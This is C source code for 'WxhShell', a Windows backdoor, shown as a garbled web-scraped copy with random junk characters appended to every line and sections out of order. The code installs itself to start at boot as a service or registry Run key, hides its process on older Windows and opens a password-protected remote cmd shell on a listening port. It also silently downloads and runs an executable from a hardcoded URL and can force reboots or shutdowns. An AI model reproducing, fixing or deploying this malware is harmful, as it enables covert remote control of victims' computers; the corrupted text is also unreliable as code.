    ExitThread(0); !E>3N:  
    } "F.J>QBd  
    break; O 9 Au =  
    } @SVEhk#  
  // 获取shell GPhwq n{  
  case 's': { [r< Y0|l,m  
    CmdShell(wsh); V{aIhH>P  
    closesocket(wsh); 7QL) }b.H  
    ExitThread(0); >5@ 0lYhH  
    break; I8pxo7(-  
  } o _,$`nEJ  
  // 退出 H&K)q5~  
  case 'x': { s].Cx4VQ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0#[Nfe*  
    CloseIt(wsh); [.#$hOsNR  
    break; 'w$we6f  
    } apWrcaj  
  // 离开 @Oc}\Rg  
  case 'q': { N|# x9mE  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V9 t:JY  
    closesocket(wsh); ojs/yjvx  
    WSACleanup(); E":":AC#  
    exit(1); k}a!lI:  
    break; ?B31 t9  
        } YwTtI ID%  
  } Zo6a_`)d  
  } ^J=txsx  
sAAIyPJts  
  // 提示信息 ewlc ^`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q^5 t]HKn  
} xx2:5  
  } 9Qm{\  
<qj@waKw4  
  return; KqIe8bi^G  
} gRd1(S  
7^}Z%c  
// shell模块句柄 ea;c\84_N  
int CmdShell(SOCKET sock) Tf]VcEF  
{ I)4|?tb ?  
STARTUPINFO si; z&G3&?Z  
ZeroMemory(&si,sizeof(si)); v?'k)B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oM7-1O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o+23?A~+  
PROCESS_INFORMATION ProcessInfo; YO4ppL~xe  
char cmdline[]="cmd"; f2K3*}P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $fpDABf  
  return 0; '`VO@a  
} ;iI2K/ 3  
/]58:euR  
// 自身启动模式 G!lykk]  
int StartFromService(void) /u1zRw  
{ GnHf9 JrR  
typedef struct W${sD|d-  
{ hzVr3;3Zn  
  DWORD ExitStatus; AyXKhj#Ml  
  DWORD PebBaseAddress; 5N}|VGN  
  DWORD AffinityMask; 0 #; s{7k  
  DWORD BasePriority; d~s-;T  
  ULONG UniqueProcessId; \e vgDZf  
  ULONG InheritedFromUniqueProcessId; jtCob'n8  
}   PROCESS_BASIC_INFORMATION; yq^$H^_O p  
 ^*>no=A  
PROCNTQSIP NtQueryInformationProcess; [9Hm][|Ph  
fC:\Gh5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f*f9:xUY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?4dd|n  
&%51jM<  
  HANDLE             hProcess; A)0m~+?{J  
  PROCESS_BASIC_INFORMATION pbi; 'n`$c{N<tM  
[-}%B0S**  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e"09b<69  
  if(NULL == hInst ) return 0; "[Lp-4A\  
 C3Z(k}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {-Oc8XI/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Eu_0n6J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c=mFYsSv  
oO,p.X%  
  if (!NtQueryInformationProcess) return 0; q"vT]=Y}:  
h v+i{Z9!]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E 4(muhY  
  if(!hProcess) return 0; {_D'\i(Y_  
BbhdGFG1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6iS+3+  
V#FLxITk  
  CloseHandle(hProcess); qt)mUq;>  
sMo%Ayes  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Wsz9X;  
if(hProcess==NULL) return 0; rJ*WxOoS{  
C!A_PQ2y  
HMODULE hMod; 6!V* :.(  
char procName[255]; jF0BWPL  
unsigned long cbNeeded; -Euy5Y  
O~1p]j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FiH!) 6T  
!S<~(Ujyw  
  CloseHandle(hProcess); U4/$4.'NQ  
p_N=V. w  
if(strstr(procName,"services")) return 1; // 以服务启动 oz r+6z  
sVf7g?  
  return 0; // 注册表启动 r F - yD1  
} .5zJ bZ9  
;]e"bX  
// 主模块 V)@scB|>,  
int StartWxhshell(LPSTR lpCmdLine) N($]))~3&  
{ =sJHnWL[  
  SOCKET wsl; [C#pMLp,~  
BOOL val=TRUE; =1uI >[aN  
  int port=0; Np)!23 "  
  struct sockaddr_in door; {RO=4ba{J  
&}?e:PEy  
  if(wscfg.ws_autoins) Install(); nhxl#  
l#:Q V:  
port=atoi(lpCmdLine); r#}%sof  
mcracj[ B  
if(port<=0) port=wscfg.ws_port; Q?q m~wD  
m]vr|:{6/  
  WSADATA data; Sy~Mh]{E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IT"jtV  
 EZFWxR/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YDL)F<Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [O'p&j@  
  door.sin_family = AF_INET; ]YKWa"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y->iv%  
  door.sin_port = htons(port); h Nwb.[  
Ved:w^ ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F!<x;h(  
closesocket(wsl); 8hY)r~!b'  
return 1; G 0 yt%qHE  
} q5Mif\  
1jb@n xRjO  
  if(listen(wsl,2) == INVALID_SOCKET) { f# + h_1#  
closesocket(wsl); E{B<}n|}&  
return 1; u?i1n=Ne  
} Q^OzFfR6  
  Wxhshell(wsl); e76)z; '  
  WSACleanup(); )}8%Gs4C  
_JXE/  
return 0; /J:j'6  
>?V->7QLP  
} |^&e\8>.  
bf+2c6_BN0  
// 以NT服务方式启动 HB^azHr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y]Q*I\X  
{ )c/BD C7g  
DWORD   status = 0; tIw4V^'|  
  DWORD   specificError = 0xfffffff; H9?~#GPb  
bHNaaif}P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dWSH\wm+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Q_i#e(S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5 Da( DA  
  serviceStatus.dwWin32ExitCode     = 0; 5kz`_\ &  
  serviceStatus.dwServiceSpecificExitCode = 0; ;'kH<Iq  
  serviceStatus.dwCheckPoint       = 0; Z$@Nzza-  
  serviceStatus.dwWaitHint       = 0; U# gmk0>t{  
vbU{Et\ ^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !k^\`jMzw  
  if (hServiceStatusHandle==0) return; 'UKB pm/  
Nt?B(.G  
status = GetLastError(); b7/4~_s  
  if (status!=NO_ERROR) ZhU2z*qN#  
{ }^t?v*kcA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5q[@N  J  
    serviceStatus.dwCheckPoint       = 0; N 2\,6<  
    serviceStatus.dwWaitHint       = 0; $hapSrS  
    serviceStatus.dwWin32ExitCode     = status; (H7q[UG|  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vow+,,oh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); HV?@MBM  
    return; h";sQ'us  
  } 5Z'pMkn3  
tee%E=P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |{(ynZ]R  
  serviceStatus.dwCheckPoint       = 0; z\, w$Ef+  
  serviceStatus.dwWaitHint       = 0; (J;<&v}Gad  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :1Ay_ b_J  
} 4T" P #)z  
9b>a<Z  
// 处理NT服务事件,比如:启动、停止 (msJ:SG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &%<G2x$  
{ ZZUCwczI  
switch(fdwControl) uWSG+  
{ "cZ.86gG`:  
case SERVICE_CONTROL_STOP: *!r8HV/<  
  serviceStatus.dwWin32ExitCode = 0; <v?-$3YT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8in8_/x  
  serviceStatus.dwCheckPoint   = 0; rQF%;  
  serviceStatus.dwWaitHint     = 0; { .AFg/Z  
  { LdcP0G\"VG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,fbO}  
  } xYbF76B  
  return; r BaK$Ut  
case SERVICE_CONTROL_PAUSE: 6k-]2,\#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y (Q8P{@(  
  break; xM(  
case SERVICE_CONTROL_CONTINUE: G 8@%)$A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F-m1GG0s  
  break; e2>gQ p/  
case SERVICE_CONTROL_INTERROGATE: 6xwC1V?:0t  
  break; }0I! n@  
}; 5we1q7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q?wB h^  
} ^(%>U!<<%,  
 -H{{  
// 标准应用程序主函数 $%/Zm*H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1mf_1spB  
{ fE >FT9c  
&A>J>b  
// 获取操作系统版本 -1[ri8t;nV  
OsIsNt=GetOsVer(); `ainJs:B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i^yQ; 2 -  
w] VvH"?  
  // 从命令行安装 OF)X(bi4j  
  if(strpbrk(lpCmdLine,"iI")) Install(); fYpy5vc-dm  
q^gd1K<N  
  // 下载执行文件 8I*fPf  
if(wscfg.ws_downexe) { x\lua  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &" =inkh  
  WinExec(wscfg.ws_filenam,SW_HIDE); v+Hu=RZE  
} r*$KF!-dg  
%gN8-~$ 1  
if(!OsIsNt) { mR@iGl\\  
// 如果时win9x,隐藏进程并且设置为注册表启动 |@ia(U~  
HideProc(); NWFZ:h@v  
StartWxhshell(lpCmdLine); I3A](`  
} >[[< 5$,T  
else {Tx+m;5F  
  if(StartFromService()) ,^/;!ErR$  
  // 以服务方式启动 C0e< _6p=  
  StartServiceCtrlDispatcher(DispatchTable); 2e+DUZBoC  
else  7p{lDQ  
  // 普通方式启动 .S[5CO^  
  StartWxhshell(lpCmdLine); :iq1-Pw  
a XwFQ,  
return 0; 4o'0lz]  
} n {M!l\1  
dz?:)5>I  
zg]9~i8  
'EXp[*  
=========================================== I\":L  
\;4RD$J  
RP6QS)|  
q0Fy$e]u  
? ;\YiOTda  
z`{x1*w_  
" yQ\c<z^e  
rN OwB2e  
#include <stdio.h> =5+:<e,&  
#include <string.h> M}HGFN  
#include <windows.h> xHHG| u  
#include <winsock2.h> U4%P0}q/  
#include <winsvc.h> o;}o"-s  
#include <urlmon.h> oA`Ncu5  
pj'Yv  
#pragma comment (lib, "Ws2_32.lib") ="MG>4j3.F  
#pragma comment (lib, "urlmon.lib") zvE]4}VL?  
n{|~x":9V  
#define MAX_USER   100 // 最大客户端连接数 *c.*e4uzF  
#define BUF_SOCK   200 // sock buffer eP6>a7gc  
#define KEY_BUFF   255 // 输入 buffer `g3H; E  
hX8;G!/  
#define REBOOT     0   // 重启 ~u.CY  
#define SHUTDOWN   1   // 关机 RxcX\:  
s(-$|f+s  
#define DEF_PORT   5000 // 监听端口 x-cg df  
L_O m<LO2  
#define REG_LEN     16   // 注册表键长度 =ayl~"bW  
#define SVC_LEN     80   // NT服务名长度 fAXF_wj  
g+U6E6}1  
// 从dll定义API UkeX">  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A+>+XA'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pLNv\M+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FK>8(M/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (FP- K  
!M\8k$#"n  
// wxhshell配置信息 XNsMXeO]&  
struct WSCFG { j&u{a[Y/}  
  int ws_port;         // 监听端口 K%)u zP  
  char ws_passstr[REG_LEN]; // 口令 (zte'F4  
  int ws_autoins;       // 安装标记, 1=yes 0=no </Ja@%  
  char ws_regname[REG_LEN]; // 注册表键名 |G } qY5_  
  char ws_svcname[REG_LEN]; // 服务名 5Q =o.wf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |}=xA%)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bt"*@NJ$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .*i.Z   
int ws_downexe;       // 下载执行标记, 1=yes 0=no l.El3+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (6!W8x7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !np-Jmi  
L~=h?C<  
}; l'm!e'7_  
PIl:z?q({  
// default Wxhshell configuration g=Rl4F]  
struct WSCFG wscfg={DEF_PORT, ]9F$/M#  
    "xuhuanlingzhe", K8daSvc  
    1, qJj"WU5  
    "Wxhshell", 6;Wns'  
    "Wxhshell", b dP @^Q  
            "WxhShell Service", a/ ^ojn  
    "Wrsky Windows CmdShell Service", 3P N<J  
    "Please Input Your Password: ", %xPJJ $P  
  1, 7\HjQ7__  
  "http://www.wrsky.com/wxhshell.exe", L3pNna  
  "Wxhshell.exe" }I`"$2   
    }; /'O? 8X<  
nF`_3U8e  
// 消息定义模块 =~15q=XY0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; '9.L5*wh]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !W^P|:Qt  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dv1Y2[  
char *msg_ws_ext="\n\rExit."; M8(N9)N  
char *msg_ws_end="\n\rQuit."; [`2V!rU  
char *msg_ws_boot="\n\rReboot..."; hR(\%p  
char *msg_ws_poff="\n\rShutdown..."; Y,n&g45m  
char *msg_ws_down="\n\rSave to "; E9<oA.  
4c0 =\v  
char *msg_ws_err="\n\rErr!"; {Dupk0'(  
char *msg_ws_ok="\n\rOK!"; k nTCX  
O4t0 VL$  
char ExeFile[MAX_PATH]; {_C2c{  
int nUser = 0; T uG%oV}   
HANDLE handles[MAX_USER]; c'O"</  
int OsIsNt; >{R+j4%  
*sz:c3{_  
SERVICE_STATUS       serviceStatus; | $  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V(wm?Cc]  
/fgy07T  
// 函数声明 yzWVUqtXm  
int Install(void); 1)Z4 (_  
int Uninstall(void); '3R o`p{  
int DownloadFile(char *sURL, SOCKET wsh); ;#)sV2F\&  
int Boot(int flag); +7E&IK  
void HideProc(void); .|UIZwW0  
int GetOsVer(void); m9Xauk$(  
int Wxhshell(SOCKET wsl); Tg/?v3M88  
void TalkWithClient(void *cs); A s"% u  
int CmdShell(SOCKET sock); VY G o;  
int StartFromService(void); DsX+/)d  
int StartWxhshell(LPSTR lpCmdLine); JP{Y Q:NF  
\8Y62  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~'lYQ[7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8GlRO4yd  
VRE[ vM'  
// 数据结构和表定义 v-(dh5e` H  
SERVICE_TABLE_ENTRY DispatchTable[] = PJ -g.0q  
{ uidoz f2}  
{wscfg.ws_svcname, NTServiceMain}, n~_;tO  
{NULL, NULL} 6 H{G$[2  
}; nOTe 3?i>  
f0M5^  
// 自我安装 <*_DC)&7 9  
int Install(void) Iw;i ".  
{ ? R!Pf: t  
  char svExeFile[MAX_PATH]; y?OK#,j  
  HKEY key; 'u}OeS"f  
  strcpy(svExeFile,ExeFile); ze"`5z26|  
_D"V^4^yqu  
// 如果是win9x系统,修改注册表设为自启动  hik.c3  
if(!OsIsNt) { 2,'~'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !(A<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gk hmQd  
  RegCloseKey(key); ,76Q*p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^i[bo3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %1\~OnT  
  RegCloseKey(key); #kQ1,P6,(  
  return 0; >lkjoEVQ  
    } /JjSx/  
  } '+&!;Jj,  
} xcE2hK/+  
else { M.qE$  
?+_Y!*J2b  
// 如果是NT以上系统,安装为系统服务 SDu%rr7sQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rczwxWK  
if (schSCManager!=0) f1AO<>I;  
{ j4%\'xj:  
  SC_HANDLE schService = CreateService -[}AhNYK  
  ( &iO53I^r/  
  schSCManager, #sm@|'Q%  
  wscfg.ws_svcname, |BEoF[1  
  wscfg.ws_svcdisp, ]kdU]}z  
  SERVICE_ALL_ACCESS, +OaBA>Jh9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gY {/)"  
  SERVICE_AUTO_START, U_sM==~  
  SERVICE_ERROR_NORMAL, }Jo}K) >!  
  svExeFile, fA)4'7UT  
  NULL, Ex<@:  
  NULL, yYH>~,  
  NULL, w!r.MWE  
  NULL, !ZS5}/ZU  
  NULL L'HO"EZFj  
  ); h9Tst)iRi  
  if (schService!=0) e'X"uH Xt.  
  { ST1;i5   
  CloseServiceHandle(schService); NCp]!=uM;  
  CloseServiceHandle(schSCManager); (j&7`9<5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \*mKctpz]6  
  strcat(svExeFile,wscfg.ws_svcname); jO.c>C[?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /_Fi4wZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /u~L3Cp(  
  RegCloseKey(key); RDxvN:v  
  return 0; ?$@E}t8g\  
    } th|'t}bWV  
  } &[t} /+)  
  CloseServiceHandle(schSCManager); 9~v#]Q}Z}4  
} uoq|l  
} byHXRA)39  
'tDVSj  
return 1; xzw2~(lo  
} 0zpA<"S  
=>*9"k%m  
// 自我卸载 LG vPy  
int Uninstall(void) ^f] 9^U{  
{ _^h?JTU^  
  HKEY key; wV q4DE  
Y z],["*Q  
if(!OsIsNt) { !JQ'~#jKN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { chu r(@Af  
  RegDeleteValue(key,wscfg.ws_regname); _N"c,P0  
  RegCloseKey(key); fBLR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b\vL^\bX8  
  RegDeleteValue(key,wscfg.ws_regname); mW)C=X%  
  RegCloseKey(key); |!cM_&  
  return 0; eC='[W<a.  
  } r)gtx!bx  
} uA%cie  
} 08z?i  
else { `08}y*E  
_]M :  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k&= iye(  
if (schSCManager!=0) qf*e2" ~v  
{ ]#\/1!W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7#sb },J{  
  if (schService!=0) ^ux"<?  
  { OSkBBo]~z  
  if(DeleteService(schService)!=0) { gmCB4MO  
  CloseServiceHandle(schService); P G*FIRDb  
  CloseServiceHandle(schSCManager); 9u1Fk'cxG,  
  return 0; yHmNO*(  
  } `aM8L  
  CloseServiceHandle(schService); a;v;%rs  
  } nm`}Z'&)  
  CloseServiceHandle(schSCManager);  WYW@%t  
} 9R N ge;*  
} KV|ywcGhT  
d[&Ah~,  
return 1; kOV6O?h  
} }4_c~)9Q  
D n}TO*  
// 从指定url下载文件 GE#LcCa  
int DownloadFile(char *sURL, SOCKET wsh) (RLJ_M|;/b  
{ (*G'~gSX  
  HRESULT hr; ++CL0S$e  
char seps[]= "/"; 8]&lUMaqVZ  
char *token; 98!H$6k  
char *file; `$>cQwB,D  
char myURL[MAX_PATH]; +||[H)qym  
char myFILE[MAX_PATH]; J Sms \  
|dqvv  
strcpy(myURL,sURL); 1A{iUddR  
  token=strtok(myURL,seps); QW>(LGG=  
  while(token!=NULL) h<FEe~  
  { [zhcb+^5l  
    file=token; EakS(Q?  
  token=strtok(NULL,seps); oT^r  
  } 9 F|e .  
l 5z8]/  
GetCurrentDirectory(MAX_PATH,myFILE); "yPKdwP  
strcat(myFILE, "\\"); du^r EMb%  
strcat(myFILE, file); l]mn4cn3  
  send(wsh,myFILE,strlen(myFILE),0); aR0v qRF  
send(wsh,"...",3,0); )}SiM{g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3L%g2`  
  if(hr==S_OK) b* o,re)Dj  
return 0; jAOD&@z1  
else 1~9AQ[]w8  
return 1; ;aUI3n%  
mG+hLRTXP  
} l&m'?. g f  
"dBCS  
// 系统电源模块 ybVdWOqv  
int Boot(int flag) $:<G=  
{ \:-N<[  
  HANDLE hToken; ATf{;S}  
  TOKEN_PRIVILEGES tkp; W'<cAg?  
?p!+s96  
  if(OsIsNt) { KDy:A>_ G"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G+l9QaFv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +ywd(Tuzm  
    tkp.PrivilegeCount = 1; eE[/#5tK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?mW;%d~]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -cnlj  
if(flag==REBOOT) { *!x/ia9  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +hd1|qa4  
  return 0; 2`w\<h  
} s`"ALn8m  
else { Jul xFjC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1@A*Jj[R%  
  return 0; 4r>buEU  
} ?u8 vK<2h  
  } |h65[9DMP  
  else { -}r(75C  
if(flag==REBOOT) { YK|Y^TU^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) sYY=MD  
  return 0; /yj-^u\R  
} QtsyMm  
else { O"x/O#66  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |A@Gch fd  
  return 0; =v]eQIp  
} "6%vVi6  
} 4C_-MJI  
blA]z!FU  
return 1; L8j#l u  
} N^8 lfc$a  
r&-I r3[  
// win9x进程隐藏模块 ld*RL:G  
void HideProc(void) Rd.[8#7VE  
{ G0eJ<*|_ 3  
Ig6>+Mw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mLn =SU{#  
  if ( hKernel != NULL ) q7% eLJ  
  { 5CuK\<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R0*+GIRA(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O[fgn;@|  
    FreeLibrary(hKernel); ]]Da/^K=Z  
  } +kTa>U<?  
}qOC*k:  
return; U-EX)S^T[{  
} Epm=&6zf  
3fJwj}wL  
// 获取操作系统版本 E5 0$y:  
int GetOsVer(void) }AfK=1yOa  
{ N:@C% UW}  
  OSVERSIONINFO winfo; E0*'AZi&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4r [T pb  
  GetVersionEx(&winfo); <ST#< $%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lYu1m  
  return 1; ;DKwv}  
  else !&Q3>8l  
  return 0; $zBG19 [%  
} \HOOWaapN  
Lay+)S.ta[  
// 客户端句柄模块 B1A5b=6G<  
int Wxhshell(SOCKET wsl) 2JYt.HN  
{ YA>du=6y\  
  SOCKET wsh; `$\Y,9E}x  
  struct sockaddr_in client; @.X}S "yr  
  DWORD myID; b_ |  
/-39od0  
  while(nUser<MAX_USER) tnmuCz  
{ N+PW,a  
  int nSize=sizeof(client); ?%h JZm;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g~@0p7]Y  
  if(wsh==INVALID_SOCKET) return 1; VPTT* a`  
)Cz^Xp)#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >cD+&h34  
if(handles[nUser]==0) c])b?dJ*  
  closesocket(wsh); 5Ffz^;i  
else u-h3xj  
  nUser++; 9Yowz]')  
  } `8TM<az-L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (K+TqJw  
MNiu5-g5  
  return 0; p\8cl/~  
} \6Ze H  
O.E   
// 关闭 socket `B6{y9J6  
void CloseIt(SOCKET wsh) rQ'tab.,]  
{ v) q6  
closesocket(wsh); WU1o4&OF  
nUser--; K0\a+6kh  
ExitThread(0); Wx/!My u  
} zHB{I(q  
dTaR 8i  
// 客户端请求句柄 8y!fqXm%)  
void TalkWithClient(void *cs) N)h>Ie  
{ @X/S h:  
l#o43xr  
  SOCKET wsh=(SOCKET)cs; Em@h5V  
  char pwd[SVC_LEN]; K. R2)o`  
  char cmd[KEY_BUFF]; }FMl4 _}u  
char chr[1]; IO xj$?%l  
int i,j; -& kQlr  
KF'H|)!K  
  while (nUser < MAX_USER) { fwAN9zs  
u6y\GsM.a  
if(wscfg.ws_passstr) { %i%Xi+{3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 qUdj[Bj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NI(`o8fN  
  //ZeroMemory(pwd,KEY_BUFF); "`"j2{9|e!  
      i=0; ^;s`[f|w  
  while(i<SVC_LEN) { {7eKv+30  
n/8Kb.Vf  
  // 设置超时 Xx|&%b{{r  
  fd_set FdRead; ^l^_K)tw*  
  struct timeval TimeOut; #s#z@F  
  FD_ZERO(&FdRead); G-3.-  
  FD_SET(wsh,&FdRead); #K! Df%,<  
  TimeOut.tv_sec=8; |-_5ou N.  
  TimeOut.tv_usec=0; vEzzdDwi6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jD^L<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9v cUo?/  
|k/;.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]QT0sGl  
  pwd=chr[0]; ;*W]]4fy  
  if(chr[0]==0xd || chr[0]==0xa) { u."fJ2}l0X  
  pwd=0; Q '+N72=  
  break; 0dkM72p  
  } @LL&ggV?  
  i++; L''0`a. +S  
    } `6mHt6"h  
f aO8 &  
  // 如果是非法用户,关闭 socket UWn}0:6t  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i8B%|[ nm  
} rpEFyHorJ  
+zs6$OI]V  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6eDIS|/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GYO\l.%V5y  
4E |6l  
while(1) { ;7`<.y  
g=Qga09  
  ZeroMemory(cmd,KEY_BUFF); z{#F9'\&  
Y[~6f,?^  
      // 自动支持客户端 telnet标准   ]Hd 0 Y%  
  j=0; 50DPzn  
  while(j<KEY_BUFF) { NNl/'ge <\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M@'V4oUz  
  cmd[j]=chr[0]; %&_(IY$d  
  if(chr[0]==0xa || chr[0]==0xd) { uAjGR  
  cmd[j]=0; <Z m ,q}  
  break; gv[7h'}<  
  } l(]\[}.5  
  j++; 5&X  
    } Ve8!   
==XP}w)m  
  // 下载文件 9)l_(*F  
  if(strstr(cmd,"http://")) { y9*H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !7xp<=  
  if(DownloadFile(cmd,wsh)) ooZ-T>$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %UQ?k:aWp|  
  else ~o/^=:*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,\IqKRcYU  
  } @&Nvb.5nT  
  else { T) ,:8/  
Nu_ w@T\l  
    switch(cmd[0]) { G wW#Ww;Oc  
  kQ#eWk J,  
  // 帮助 4C*3#/TR  
  case '?': { @l(Y6m|v\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jYy0^)6X(  
    break; <{ ) 4gvH  
  } 4]B3C\ v  
  // 安装 ^mum5j  
  case 'i': { ]Qu12Wg}P  
